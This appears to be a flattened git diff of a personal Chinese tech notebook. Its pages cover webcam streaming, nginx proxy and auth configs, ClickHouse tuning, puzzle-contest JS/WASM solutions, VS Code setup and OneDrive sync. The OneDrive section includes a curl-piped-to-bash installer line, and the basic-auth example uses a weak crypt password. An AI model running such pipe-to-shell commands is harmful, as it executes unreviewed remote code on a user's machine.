::: alert
alert-error 红色
:::
WARNING: be careful to baz the quux before initializing the retro encabulator! ⚠️ If you are using mobile browser: Be very careful here!
[n1盒子]使用n1盒子以及罗技摄像头进行直播 + + + + + ++ + + diff --git a/notebook/nginx.html b/notebook/nginx.html new file mode 100644 index 0000000..62c2077 --- /dev/null +++ b/notebook/nginx.html @@ -0,0 +1,141 @@ + + + + + + + + +[n1盒子]使用n1盒子以及罗技摄像头进行直播
方式1 ffserver 然后使用
ffmpeg -f v4l2 -i /dev/video1 -s 640x480 -r 24 -vcodec libx264 -an http://127.0.0.1:8090/feed1.ffm
把video1串流到ffm文件
之后使用播放器访问 rtsp://192.168.2.190:8554/live1.h264
使用webrtc转发 设备到web(未实现) docker run -p 8000:8000 -it mpromonet/webrtc-streamer -n raspicam -u rtsp://192.168.2.190:8554/live1.h264
方式2 通过vlc
cvlc --no-audio v4l2:///dev/video1 --v4l2-width 1920 --v4l2-height 1080 --v4l2-chroma h264 --v4l2-fps 30 --v4l2-hflip 1 --v4l2-vflip 1 --sout "#transcode{vcodec=mjpg,vb=25,scale=1.0,fps=24,acodec=none}:standard{access=http{mime=multipart/x-mixed-replace; boundary=7b3cc56e5f51db803f790dad720ed50a},mux=mpjpeg,dst=:8554/videostream.cgi}"
v4l2:///dev/video1:width=1920:height=1080:fps=30:chroma=MJPG:live-caching=300 --sout "#transcode{vcodec=mjpg,vb=25,scale=1.0,fps=24,acodec=none}:standard{access=http{mime=multipart/x-mixed-replace; boundary=7b3cc56e5f51db803f790dad720ed50a},mux=mpjpeg,dst=:8554/videostream.cgi}" 直接打开 8554端口即可
方式3 motion
修改下配置文件,设置局域网访问即可
vlc v4l2:///dev/video1 --sout "#std{access=http,mux=mpjpeg,dst=:8554/videostream.cgi}"
方式4 mjpg-streamer
这种方式只能推送图片,优点是延迟底,以及不需要安装软件,浏览器访问即可
nginx简洁 + + + + + ++ + + diff --git a/notebook/oceanus.html b/notebook/oceanus.html new file mode 100644 index 0000000..e07bd19 --- /dev/null +++ b/notebook/oceanus.html @@ -0,0 +1,45 @@ + + + + + + + + +nginx简洁
nginx是一个反向代理服务器,同时也是一个轻量的web服务器(php要配置php) 在一台服务器上,我们可以在不同的端口开设web服务,以 ip:port 的形式访问,但是这是不好看的 如果你有一个已经备案的域名,则可以在域名服务商处设置隐形url, 将二级域名转发到ip:port 如果你的服务器在国外,同时域名没有备案, 可以通过nginx来设置二级域名,
2022-2-6 nginx图片分层
存储大量图片时,可能会遇到linux文件夹文件数量的限制 我所使用的方案:保存图片时按照图片的md5前四位建立二级目录,例如md5为abcdefgxxx ,则保存后的文件目录为 /www/static/images/ab/cd/abcdefgxxx 然后使用nginx正则去获取文件的前四位
+location ~ ^/static/images/((..)(..).+) { + set $dir1 $2; + set $dir2 $3; + set $filename $1; + default_type image/jpeg; + alias /www/static/images/$dir1/$dir2/; + try_files $filename =404; +} + + +
nginx作为静态资源服务器
https://www.w3cschool.cn/nginxsysc/nginxsysc-cache.html
nginx简单操作
+//检测编写的配置文件是否有语法错误 +nginx -t +// 热重启nginx (nginx不重启的情况下重新加载配置文件) +nginx -s reload + +
通过nginx设置二级域名
首先, 需要在域名服务商处将 *.your.domain 解析到你的服务器
然后安装nginx服务,具体不细说
在/etc/nginx/conf.d 文件夹下新建 test.conf文件
假设你要将本机 3456端口的内容设置到blog这个二级域名
server_name 二级域名 proxy_pass 写你本机的地址
配置文件编写如下
server { + listen 80; + server_name blog.moyechen.cn; + + location / { + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header Host $http_host; + proxy_pass http://0.0.0.0:3456; + } +} +
nginx作为轻量的web服务器
root那里写web页面的路径
index写主页文件.可以多个server { + listen 80; + server_name scs.moyechen.cn; + + index index.html index.php; + root /root/src/cnn/conv/; + location / { + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header Host $http_host; + } +} +
带PHP的页面
需要我们本地安装有PHP服务,然后设置一下PHP服务即可
server { + listen 80 default_server; + listen [::]:80 default_server; + server_name acm.moyechen.cn; + + index index.php; + root /home/judge/src/web; + + location / { + + } + location ~ \.php$ { + fastcgi_index index.php; + fastcgi_pass 127.0.0.1:9000; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + fastcgi_split_path_info ^(.+\.php)(/.+)$; + client_max_body_size 80m; + include fastcgi_params; + } +} +
直接偷别人的页面
但是好像不能登陆,可能是https导致的
server { + listen 80; + server_name vj.moyechen.cn; + + location / { + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header Host $http_host; + proxy_pass https://vjudge.net; + } +} +
frps 简单配置
server { + listen 80; + server_name *.frp.moyechen.cn; + location / { + proxy_pass http://127.0.0.1:7080; + proxy_set_header Host $host:80; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_hide_header X-Powered-By; + } +} +server { + listen 80; + server_name frp.moyechen.cn; + location / { + proxy_pass http://127.0.0.1:7500; + proxy_set_header Host $host:80; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_hide_header X-Powered-By; + } +} +
国内服务器如何不备案放到域名上
如果国内服务器不备案,并且被一个域名指向,那么几天后你访问就会出现需要备案的标记
我们可以用一台国外服务器来做中转,注意端口最好不要使用80以及443等常用端口
不然好像还会被封假设国内服务器ip为 xxx.xxx.xxx.xxx 假设web服务开设在国内服务器5678端口
- 第一步, 在域名服务商设置你的域名解析到国外服务器的ip
- 第二步, 设置中转机器
中转机器配置信息:
server { + listen 80; + server_name 写你的域名; + + location / { + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header Host $http_host; + proxy_pass http://xxx.xxx.xxx.xxx:5678; + } +} + +
那既然有国外服务器了,为什么还要用国内服务器开设web页面呢? 我也不知道
nginx日志审计
统计访问IP前十
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -nr | head -10
统计状态码
awk '{print $9}' /var/log/nginx/access.log | sort | uniq -c | sort -nr | head -10
nginx 安全
账户验证
在linux中,如果不安装apache,但是又需要用htpasswd生成登录账号,如:配置Nginx,pure-ftpd,subversion等。
那就需要找一个替代htpasswd生成密码的方法,用openssl就可以办到
# printf "user:$(openssl passwd -crypt 123456)\n" >>conf/.htpasswd +# cat conf/htpasswd +
===结果=== user:xyJkVhXGAZ8tM
这样就生成了一个用户名为user,密码为123456的账号了。
server { + auth_basic "login"; + auth_basic_user_file conf/.htpasswd; +} +
oceanus + + + + + ++ + + diff --git "a/notebook/teg\344\272\211\351\234\270\350\265\233.html" "b/notebook/teg\344\272\211\351\234\270\350\265\233.html" new file mode 100644 index 0000000..39e0423 --- /dev/null +++ "b/notebook/teg\344\272\211\351\234\270\350\265\233.html" @@ -0,0 +1,256 @@ + + + + + + + + +oceanus
操作步骤
- oceaus 平台建表, 包括海力方表和ch表, 其中要注意ch表写入时间(一般60)和写入量(10000+)
- 新建任务
- 申请资源
- 运行任务
问题汇总
问题1
复制海力方表的tid过去后, 自动填充的字段类型有错误,需要手动检查修改
问题2
类型正确后, 启动任务不闪退了,但是没数据, 查看日志发现连接本地ch数据库出了问题 3. 通过百度了解到tcp端口为9000, 默认的http端口为8123, 但是我这里是修改过的, 因此是8080
修改为自定义的8080端口, ok
问题3:
使用select count(*) 查询数据量正常, 但是select sum(rows) 显示的数量要大的多
查找后发现是因为数据写入太快, 导致分区过多 可以看到前几天的数据都是一个分区, 这是ch后台合并的结果
但是查看当天的数据, 发现分了好多区,并且每一块都很小
发现是写入es批量太小, 且写入太快导致的
- 增大批量写条目数, 设置为100000(默认为1000), 如果表过大, 可调整
- 增大flush时间间隔 设置为60s(默认为1) https://oceanus.oa.com/#/table/list
优化后 查询语句
SELECT + table, + partition, + sum(rows) AS row +FROM system.parts +WHERE (database = 'situation_awareness') AND (table = 'weilidai_antiCollection_socialUniformity_oceanus') +GROUP BY + table, + partition + WITH TOTALS +ORDER BY partition ASC +
问题4 数据消费问题
需设置savepoint, 防止重启任务时中间数据丢失问题
问题5 导出至clickhouse数据库
官方文档中有说明, 只有1.14版本支持导出
https://iwiki.woa.com/pages/viewpage.action?pageId=746586889
https://iwiki.woa.com/pages/viewpage.action?pageId=703323873
teg争霸赛 + + + + + ++ + + diff --git "a/notebook/url\351\207\215\345\256\232\345\220\221.html" "b/notebook/url\351\207\215\345\256\232\345\220\221.html" new file mode 100644 index 0000000..9866b70 --- /dev/null +++ "b/notebook/url\351\207\215\345\256\232\345\220\221.html" @@ -0,0 +1,34 @@ + + + + + + + + +teg争霸赛
第一关 刷到10000
直接返回a 即可
第二关
看js 返回a*a+a 即可
第三关 20201021
将js看懂后改写
+window = {} + +var bl5 = ['A5473788']; +(function (bl1, bl2) { + var bl4 = function (bl3) { + while (--bl3) { + bl1['push'](bl1['shift']()); + } + }; + bl4(++bl2); +}(bl5, 496)); + + +var _0x23fc = function (bl1, bl2) { + bl1 = bl1 - 0x0; + var bl4 = bl5[bl1]; + return bl4; +}; + +window[_0x23fc('0x0')] = function (bl6) { + var bl9 = 199999; + + for (var bl8 = 0; bl8 < 199999; bl8++) { + var bl7 = 0; + //for (var bl10 = 0; bl10 < bl8; bl10++) { + // bl7 += bl6['a'][0]; + //} 这里循环删掉 + bl7 += bl6['a'][0] * bl8; + + if (bl7 % bl6['a'][2] == bl6['a'][1] && bl8 < bl9) { + bl9 = bl8 + break + } + } + return bl9; +}; + +console.log(window.A5473788) + +
第四关 20201022
原始代码直接放node里面, 报错,
一点点剥皮后发现node 里没有window 对象, 加上即可
+window = {} + +window.setTimeout = setTimeout + +window.A593C8B8 = async (b106) => (($, b106, b105, b104, b103) => { + + let b102 = function* () { + while ([]) yield[ (b106, b105) => b106 + b105, (b106, b105) => b106 - b105, (b106, b105) => b106 * b105] [++b105 % 3]['bind'](0, b104, b103) + }(); + + let b101 = function (b102, b101, b100) { + b103 = b102; + b104 = b101["next"]()['value'](); + + b105 == b106['a']["length"] && b100(-b104) + + }; + // return new Promise(b105 => b106['a']['forEach'](b104 => $["setTimeout"](b103 => b101(b104, b102, b105), b104))) + + + return new Promise(b105 => { + + b106['a']['forEach'](b104 => { + setTimeout(b103 => { + b101(b104, b102, b105) + },b104/50) + + }) + + }) + +})(window, b106, 0, 0, 0) + +
可以运行,但是很慢, 搞懂后, 在延时处 b104/50 即可
第五关 20201023
这关用的wasm
https://www.wasm.com.cn/docs/semantics/
+(module + (func $Math.min (;0;) (import "Math" "min") (param i32 i32) (result i32)) + (func $Math.max (;1;) (import "Math" "max") (param i32 i32) (result i32)) + (func $Run (;2;) (export "Run") (param $var0 i32) (param $var1 i32) (result i32) + (local $var2 i32) (local $var3 i32) (local $var4 i32) (local $var5 i32) (local $var6 i32) (local $var7 i32) + local.get $var0 + local.set $var2 + local.get $var1 + i32.const 1 + i32.sub + local.tee $var4 + if + loop $label1 + local.get $var2 + local.set $var3 + i32.const 0 + local.set $var6 + i32.const 10 + local.set $var7 + loop $label0 + local.get $var3 + i32.const 10 + i32.rem_u + local.set $var5 + local.get $var3 + i32.const 10 + i32.div_u + local.set $var3 + local.get $var5 + local.get $var6 + call $Math.max + local.set $var6 + local.get $var5 + local.get $var7 + call $Math.min + local.set $var7 + local.get $var3 + i32.const 0 + i32.gt_u + br_if $label0 + end $label0 + local.get $var2 + local.get $var6 + local.get $var7 + i32.mul + i32.add + local.set $var2 + local.get $var4 + i32.const 1 + i32.sub + local.tee $var4 + br_if $label1 + end $label1 + end + local.get $var2 + ) +) + +
https://github.com/WebAssembly/wabt
wasm 转c, 然后编译时加上 Ofast 优化 即可
gcc a.c -o a.out -Ofast
+#include <stdio.h> +#include <stdlib.h> +#include <limits.h> + unsigned max(unsigned a,unsigned b){ + if (a>b) + return a; + else return b; + } + + unsigned min(unsigned a,unsigned b){ + if (a<b) + return a; + else return b; + } + + +int _Run(int _p0, int _p1) { + int _l2 = 0, _l3 = 0, _l4 = 0, _l5 = 0, _l6 = 0, _l7 = 0; +// FUNC_PROLOGUE; + int _i0, _i1, _i2; + + + _l2 = _p0; + _i0 = _p1; + _i1 = 1u; + _i0 -= 1; + _l4 = _i0; + if (_i0) { + // printf("i0 = %d\n",_i0); + _L1: + + _i0 = _l2; + _l3 = _i0; + _i0 = 0u; + _l6 = _i0; + _i0 = 10u; + _l7 = _i0; + _L2: + // printf("i0 = %d\n",_i0); + _i0 = _l3; + _i1 = 10u; + // _i0 = REM_U(_i0, _i1); //有符号求余数 + _i0 = _i0 % _i1; + _l5 = _i0 ; + _i0 = _l3; + _i1 = 10u; + // _i0 = DIV_U(_i0, _i1); //向下整除 + _i0 = _i0 / _i1; + _l3 = _i0; + _i0 = _l5; + _i1 = _l6; + _i0 = max(_i0, _i1); + _l6 = _i0; + _i0 = _l5; + _i1 = _l7; + _i0 = min(_i0, _i1); + _l7 = _i0; + _i0 = _l3; + _i1 = 0u; + _i0 = _i0 > _i1; + if (_i0) {goto _L2;} + _i0 = _l2; + _i1 = _l6; + _i2 = _l7; + _i1 *= _i2; + _i0 += _i1; + _l2 = _i0; + _i0 = _l4; + _i1 = 1u; + _i0 -= _i1; + _l4 = _i0; + if (_i0) {goto _L1;} + } + _i0 = _l2; +// FUNC_EPILOGUE; + return _i0; +} + +int main( int argc, char *argv[]){ + // int dd = _Run(211814391, 6301083); + // printf("%s,%s",argv[1],argv[2]); + int dd = _Run(atoi(argv[1]),atoi(argv[2])); + //211814400 + printf("%d",dd); + + return 0; +} + +
url + + + + + + + + + diff --git "a/notebook/vscode\346\233\277\344\273\243codeblock.html" "b/notebook/vscode\346\233\277\344\273\243codeblock.html" new file mode 100644 index 0000000..c0fd73d --- /dev/null +++ "b/notebook/vscode\346\233\277\344\273\243codeblock.html" @@ -0,0 +1,41 @@ + + + + + + + + +vscode替代codeblocks + + + + + ++ + + diff --git "a/notebook/vue\344\277\256\346\224\271\346\225\260\347\273\204\345\206\205\347\232\204\345\257\271\350\261\241.html" "b/notebook/vue\344\277\256\346\224\271\346\225\260\347\273\204\345\206\205\347\232\204\345\257\271\350\261\241.html" new file mode 100644 index 0000000..9718a4f --- /dev/null +++ "b/notebook/vue\344\277\256\346\224\271\346\225\260\347\273\204\345\206\205\347\232\204\345\257\271\350\261\241.html" @@ -0,0 +1,34 @@ + + + + + + + + +vscode替代codeblocks
时间 作者 2020/2/16 16:54 moyechen code block 这款ide在acm比赛中非常常见, 但是鉴于本人有以下需求
- 代码补全
- 一个方便的文件管理树
- 自定义代码模板
- 编译后生成的可执行文件(.exe) 定时清理
因此,本人折腾了文本编辑器 -- vscode
准备工作
首先下载vscode
官网链接: https://code.visualstudio.com/
接着,将编译器的目录添加到环境变量 如果你有code::blocks 可以参考以下:
打开code::blocks
复制蓝色内容,然后加上
\bin
例如
C:\Program Files (x86)\CodeBlocks\MinGW\bin
, 记为compiler_path
变量接着,添加到系统环境变量
这里, 第六步我们输入
C:\Program Files (x86)\CodeBlocks\MinGW\bin
(如果你的code::block是默认安装的话,否则,请你使用刚刚拼接的字符串compilar_path
)如果你没有code::block, 请你自行将g++编译器添加到环境变量
测试编译器是否可用
按住win键,然后输入r,在弹出的框中输入cmd
此时会打开一个黑框框
输入g++
如果出现下图,这说明编译器准备完毕
vscode配置
插件安装
安装好后, 点击左侧栏第5个按钮,依次安装下方3个插件
▼
code runner
(在输入框输入code runner进行搜索)▼
中文插件
在输入框输入
chinese
进行搜索以及
C/C++
插件提示: 安装完毕后, 请重新启动vscode
vscode 初体验
重启过后, 我们打开一个文件夹
然后右键,新建文件,输入文件名,这里我输入的是test.cpp
接着,我们输入一个测试代码,可以看到, vscode已经可以智能补全了
输入完毕后, 右击输入区域, 点击第一项
Run Code
,可以在下方看到输出这表示我们已经可以使用了
但是这个输入区域无法接受输入, 也就是我们无法拿测试用例进行调试
解决输出区域无法输入的问题
我们将代码调试放在终端(之中,终端可以接受输入,就解决了这个问题
我们需要增加以下几条设置
首先, 打开setting.json
之后, 输入一条
"code-runner.runInTerminal": true,
Ctrl + S
保存后重启vscode, 重新运行代码, 可以看到已经可以输入了生成文件放在固定目录,减少硬盘占用
默认设置中,生成的文件和代码文件同目录, 也就是说,对于每一个代码,我们都要生成这么一个.exe文件
一个.cpp 代码文件一般不会超过5kb, 但是一个可执行文件一般是 1mb左右
这不但增加了磁盘空间的负担,同时也使我们文件管理非常的混乱
使用以下操作解决:
打开
setting.json
添加这几条内容"terminal.integrated.shell.windows": "C:\\WINDOWS\\System32\\cmd.exe", + "code-runner.executorMap": { + "cpp": "cd $dir && g++ -o D:\\temp.exe \"$fileName\" -std=c++11 && D:\\temp.exe" + } +
这些代码的意思:
- 第一行表示指定使用的终端为cmd, win10默认使用的PowerShell 语法与Cmd 的语法不大相同,我们选择熟悉的Cmd
- 第二行表示执行代码是运行的命令,我们分开解析这条命令
cd $dir
, 进入代码所在的目录g++ -o D:\\temp.exe \"$fileName\" -std=c++11
, 使用c++11的标准编译你当前编辑的文件,然后生成可执行文件到D:\\temp.exe
, 可以更改为-std=c++14
以使用更多特性, 或者更改D:\\temp.exe
为你喜欢的路径D:\\temp.exe
,执行你生成好的可执行文件- 其中
&&
在c/c++语言中是且的意思, 也就是说, 执行完第一步cd $dir
后, 我们才能安全的执行第二步操作,因此使用并且并且连接符紧接着, 我们再添加以下内容:
+ "code-runner.preserveFocus": false, + "code-runner.saveFileBeforeRun": true, +
▲第一行: 运行后光标聚焦在终端 ▲第二行: 运行前自动保存文件
添加后的样子
接着,__重启__VsCode
已经可以使用了
vue修改数组内的对象 + + + + + ++ + + diff --git a/notebook/webpack-source_map.html b/notebook/webpack-source_map.html new file mode 100644 index 0000000..3b62c61 --- /dev/null +++ b/notebook/webpack-source_map.html @@ -0,0 +1,34 @@ + + + + + + + + +webpack-source_map + + + + + ++ + + diff --git "a/notebook/\344\275\277\347\224\250onedrive\345\234\250win10\345\222\214linux\344\271\213\351\227\264\345\220\214\346\255\245.html" "b/notebook/\344\275\277\347\224\250onedrive\345\234\250win10\345\222\214linux\344\271\213\351\227\264\345\220\214\346\255\245.html" new file mode 100644 index 0000000..9e8ad27 --- /dev/null +++ "b/notebook/\344\275\277\347\224\250onedrive\345\234\250win10\345\222\214linux\344\271\213\351\227\264\345\220\214\346\255\245.html" @@ -0,0 +1,55 @@ + + + + + + + + +使用onedrive在win10和linux之间同步 + + + + + ++ + + diff --git "a/notebook/\344\275\277\347\224\250\347\275\227\346\212\200\346\221\204\345\203\217\345\244\264_\346\226\220\350\256\257n1\347\233\222\345\255\220\347\233\264\346\222\255.html" "b/notebook/\344\275\277\347\224\250\347\275\227\346\212\200\346\221\204\345\203\217\345\244\264_\346\226\220\350\256\257n1\347\233\222\345\255\220\347\233\264\346\222\255.html" new file mode 100644 index 0000000..08f621b --- /dev/null +++ "b/notebook/\344\275\277\347\224\250\347\275\227\346\212\200\346\221\204\345\203\217\345\244\264_\346\226\220\350\256\257n1\347\233\222\345\255\220\347\233\264\346\222\255.html" @@ -0,0 +1,34 @@ + + + + + + + + +使用onedrive在win10和linux之间同步
我们在写代码的时候,经常有这样的场景: 在Windows下开发,然后放在服务器上跑
刚开始开发,整个项目只有一个文件(.py) ,这时候我使用xshell链接到服务器,使用rz命令上传文件, 就解决了问题
之后, 使用PyCharm 远程调试, 链接服务器进行同步, 也解决一定的问题,
最近跟风上了一年的OneDrive 365 (家庭版,6人240,一人40), onedrive 空间从免费的5g提升到了1tb,
同时也看到了大佬的github skilion,
!!!! 在ubuntu16上有些许问题, 因为大佬不在维护, 因此使用另外一个同学的产品
https://github.com/abraunegg/onedrive.git
本人环境: win10 , centos7(1g 1h 1m)
上手:
事前准备: Fedora/CentOS
sudo yum install libcurl-devel +sudo yum install sqlite-devel +curl -fsS https://dlang.org/install.sh | bash -s dmd +
安装
git clone https://github.com/skilion/onedrive.git +cd onedrive +make +sudo make install +
卸载
sudo make uninstall +# delete the application state +rm -rf .config/onedrive +
进行配置
如果不配置, 你Onedrive中的文件默认会下载到
~/OneDrive
这个目录,并且隐藏的文件会跳过 如果你想改变位置等等, 做以下操作mkdir -p ~/.config/onedrive +cp ./config ~/.config/onedrive/config +vim ~/.config/onedrive/config +
可用选项:
sync_dir
: 本地的onedrive文件夹路径,onedrive中的文件会保存在本地的这个目录skip_file
: 设置跳过的文件demo:
# Directory where the files will be synced +sync_dir = "~/OneDrive" +# Skip files and directories that match this pattern +skip_file = ".*|~*" +
Patterns are case insensitive.
*
and?
wildcards characters are supported. Use|
to separate multiple patterns.Note: 改变配置文件后, 应该执行
onedrive --resync
以获得同步选择性同步
选择性同步允许你只同步一个文件夹,或者是一个文件 方法:
- 首先,确保你做了上面的配置文件,如果没有,点击跳转
- 然后, 在~/.config/onedrive/ 目录下创建文件
sync_list
sync_list
:的一个例子Backup +Documents/latest_report.docx +Work/ProjectX +notes.txt +
Note: 改变配置文件后, 应该执行
onedrive --resync
以获得同步本人的使用方法
本人使用 vnote 来编写笔记, 同时使用 viki 来作为web服务
具体操作:
- 在onedrive 根目录下新建文件夹
blog
- 打开vnote, 新建一个笔记本,并设置根目录为
onedrive/blog
- 下载最新版的viki源文件, 下载链接,解压缩
使用罗技摄像头+斐讯n1盒子直播 + + + + + + + + + diff --git "a/notebook/\345\210\206\350\276\250\347\216\207.html" "b/notebook/\345\210\206\350\276\250\347\216\207.html" new file mode 100644 index 0000000..106b2ee --- /dev/null +++ "b/notebook/\345\210\206\350\276\250\347\216\207.html" @@ -0,0 +1,34 @@ + + + + + + + + +分辨率 + + + + + ++ + + diff --git "a/notebook/\345\215\232\345\256\242\346\220\255\345\273\272.html" "b/notebook/\345\215\232\345\256\242\346\220\255\345\273\272.html" new file mode 100644 index 0000000..08ad2fa --- /dev/null +++ "b/notebook/\345\215\232\345\256\242\346\220\255\345\273\272.html" @@ -0,0 +1,34 @@ + + + + + + + + +分辨率
物理分辨率
物理分辨率是指显示器硬件所具有的分辨率
设置分辨率
一般和物理分辨率相符合
PPI
![](_v_images/20230116110508582_721.png =960x)
27寸4K:163.18 27寸2K:108.79 24寸1080P:91.79 14寸1366x768:111.94
R= 操作系统的目标ppi / 显示器的物理ppi
R表示在一定的缩放下,UI文字实际显示的大小和其设计目的大小的比值。
R会有3个结果,大于1,小于1,等于1;等于1说明显示器可以完美地展现UI和文字的设计大小,但没有显示器厂商做这种屏幕,只存在梦里;
R大于1,说明UI和文字实际显示的大小相比设计大小偏大;R小于1,说明UI文字的实际显示大小相比设计大小偏小。R越接近1,实际显示大小和设计大小越接近。
为什么27寸4K显示器“字儿会那么小”?因为当不缩放时,R = (96 * 100%) / 163.18 约等于 0.588,此时的R远小于1,UI和文字的实际显示大小只有设计大小的58%,当然会很小了。
为什么把缩放改成200%字儿就恢复了呢?因为R = (96 * 200%) / 163.18 约等于 1.177,R比1略大,UI和文字的实际显示大小相当于设计大小的117%
为了让UI和文字元素看着舒服,应该尽可能调整缩放让R接近1,也有潭友觉得“小一点无所谓,显示的东西太少太没效率了”,如果你的缩放能让R在0.8左右还是合适的,个人认为R再小就不可接受了。例如在27寸4K显示器上很多人使用150%缩放,得到的R为0.88,只能说大小缩为原来的九成,换更多的元素显示还是值得的。
最后,还有一个有趣的值:
27寸2K显示器,100%缩放,R=1.13 27寸4K显示器,200%缩放,R=1.17
显示元素大小居然差不太多
ui分辨率
win:使用缩放后,ui的等效分辨率,例如2k屏幕,200%缩放=720p, 150%缩放就是1706* 960, 125%缩放就是2048* 1152
https://bbs.saraba1st.com/2b/thread-1986336-1-1.html
游戏分辨率
老游戏可能对高分屏适配不够,会导致ui变小等(如红色警戒)
现代游戏应该是16:9,1080p为基础制作,高于此分辨率则会进行缩放,ui大小不变,但是会很清晰,例如4k中画质>2k高画质
nvidia dsr
N卡有dsr技术,超分辨率
全称Dynamic Super Resolution,中文为动态超级分辨率,也称“自定义分辨率”
使用场景:显示器1080p物理分辨率,但是显卡性能比较强时使用,以4k进行渲染然后输出给显示器
评论:这个设置就是打游戏用的,办公还是算了,挺糊的
DSR其实就类似SSAA抗锯齿,超采样缩放,对画质来说是有提升。但毕竟是要原生渲染4K画面,这对显卡的压力不是一般的小,像2060这样的显卡面对游戏以4K分辨率渲染基本上都是要跪的。简单来说,你要以4K渲染画面,那就只能降低特效才能保证帧率,用抗锯齿和画面的精细度去换低特效这无疑是捡了芝麻丢西瓜。所以NV现在都干脆没提及DSR了,技术没问题,就是一般显卡顶不住这样的压力。为了解决这个问题,DLSS就是最新的替代方案,只可惜没啥游戏支持而已。发布于 2020-06-23 15:11 作者:知乎用户 链接:https://www.zhihu.com/question/402549533/answer/1298403883 来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
这个技术已经是2014年的老技术了,开不开的对性能影响不算很大,而且现在抗锯齿用的就是类似这个技术的操作,没什么意义了已经 以上。
推断
基于以上信息,我的推断:
24寸1080p GTX1070 畅玩所有游戏(中画质60hz) 27寸1440p RTX3060ti 畅玩所有游戏(中画质60hz) 32寸2160p RTX4080 畅玩所有游戏 (中画质60hz)
4k显示器尺寸的选择
因为很多人觉得27”4K的字太小,导致一个两难的问题——不开缩放字体太小看不清;开了缩放,很多软件界面又会模糊,因为他们对缩放的支持很差。而32”因为屏幕更大,字体太小的问题就显得没那么严重了。
微星 mpg321ur
华硕 pg32uq
华硕 pg32uq
木头龙中央处理器 (CPU)等 3 个话题下的优秀答主 只接PS5玩游戏32寸,兼顾Windows应用27寸。只玩PS5的话,本来为了电视优化的画面,哪怕你坐的近一点也是OK的,尤其是主要是图片、视频内容的主机应用。这时候大屏就是正义,别犹豫直接上32。但你要兼顾电脑上的Windows的话,32寸开200%缩放,等效1920x1080,正常使用距离(50-60CM)时会显得偏大,PPI也高于视网膜分辨率。除非是电脑椅头靠在椅背靠枕上,但这个姿势看片子拿手柄玩游戏还好,敲键盘拿鼠标就很别扭了。开150%缩放的话等效2560x1440,显示元素会更多,但一般的Windows应用是GDI+,非整数缩放是向上取整渲染然后再通过算法缩放回来,所以4K分辨率开150%缩放显示等效2560x1440图像,先取整200%缩放用5120x2880渲染,然后再转换到3840x2160显示,这种做法会导致字体、色块边缘发虚模糊。(UWP应用是另一种渲染方式,字体、色块边缘清晰不少)27寸4K的话,57-60CM使用距离是达到视网膜分辨率的。200%缩放显示等效1920x1080,字体、色块边缘很清晰的,字体元素大小也比较适和。但如果凑得再近一点,达不到视网膜分辨率,仔细看字体边缘还是可以感觉到有点模糊。发布于 2022-05-26 21:11赞同 37 17 条评论
甲骨文服务器凉凉 + + + + + ++ + + diff --git "a/notebook/\345\217\230\351\207\217\345\221\275\345\220\215\347\233\270\345\205\263.html" "b/notebook/\345\217\230\351\207\217\345\221\275\345\220\215\347\233\270\345\205\263.html" new file mode 100644 index 0000000..14da1f7 --- /dev/null +++ "b/notebook/\345\217\230\351\207\217\345\221\275\345\220\215\347\233\270\345\205\263.html" @@ -0,0 +1,34 @@ + + + + + + + + +甲骨文服务器凉凉
https://51.ruyo.net/14138.html 白嫖甲骨文vps 2019年9月17
20200911甲骨文复活辣
白嫖了两台, 一台使用tcp 链接, 一台使用websocket+tsl(需要域名解析) 链接, 测速如下
服务器 传输协议 下载 上传 延迟 抖动 丢包 132.145.112.212 websocket+tsl 11.5 3.20 95ms 12ms - 168.138.214.1 tcp 12.7 7.61 331ms 436ms 2020/2/24
- 本地使用VNote进行编辑,将笔记文件夹设置到 onedrive 目录下
- 编辑后自动更新onedrive,免去手动同步的麻烦
- 使用drive to web 配合域名cname指向,完成博客搭建
20200215 甲骨文凉凉
因此我需要一个新的服务器
需求:
- 搭建博客
- 同时要提供vnote - onedrive这种方式的
日记 - 博客
工作流- vpn
- 平时使用谷歌服务
- 内网穿透
因此, 可能需要国外服务器才能支持
博客搭建方案:
- github/gitee/coding pages
- 阿里云,其它云
- 虚拟主机
- 其它
- 阿里云(入口 nginx 转发)+ 腾讯云(应用+数据库)
- github pages + cloudflare
- 阿里云->vultr->github pages->netlify
- 利用 Gridea 同步到 GitHub,然后再同步到 Netlify http://fehey.com
- 本地 N1+frp
- cnblogs, csdn (不想)
大佬的博客:
- https://www.dute.org/
思考
处理笔记的分类方式
笔记的种类:
- 灵感
- 待办事项
- 日记
- 笔记
- 特殊的( 印象笔记剪藏,马克)
可用的笔记,提醒,便签软件
品名 平台 云同步 备注 OneNote 全平台 √ 印象笔记 全平台,免费版最多两台设备 √ 微软待办 全平台 √ 习惯 android × VNote 桌面端 × 配合onedrive可以同步,以及搭建博客 场景
展示给别人看的博客 -- Vnote + viki + onedrive + drive to web 自己的日记 -- 印象笔记+ 日历
找到合适的写日记软件
notion -- 颜值即是正义
笔记型博客
- 适合为开发的应用程序编写wiki
- 无法实现多层文件夹
- 具有github风格的markdown渲染器
- 可使用gimmicks, 以获得例如github-fork带子, 讨论区, 等插件
- 配合vnote,以及onedrive云同步,适更合写笔记
- 有多层文件夹
- 渲染风格简陋,但是可以定制化(暂未找到方法)
变量命名相关 + + + + + + + + + diff --git "a/notebook/\345\233\276\345\275\242\346\212\227\351\224\257\351\275\277.html" "b/notebook/\345\233\276\345\275\242\346\212\227\351\224\257\351\275\277.html" new file mode 100644 index 0000000..a96a76c --- /dev/null +++ "b/notebook/\345\233\276\345\275\242\346\212\227\351\224\257\351\275\277.html" @@ -0,0 +1,34 @@ + + + + + + + + +图形抗锯齿 + + + + + ++ + + diff --git "a/notebook/\345\257\206\347\240\201\347\256\241\347\220\206.html" "b/notebook/\345\257\206\347\240\201\347\256\241\347\220\206.html" new file mode 100644 index 0000000..884d8d2 --- /dev/null +++ "b/notebook/\345\257\206\347\240\201\347\256\241\347\220\206.html" @@ -0,0 +1,34 @@ + + + + + + + + +图形抗锯齿
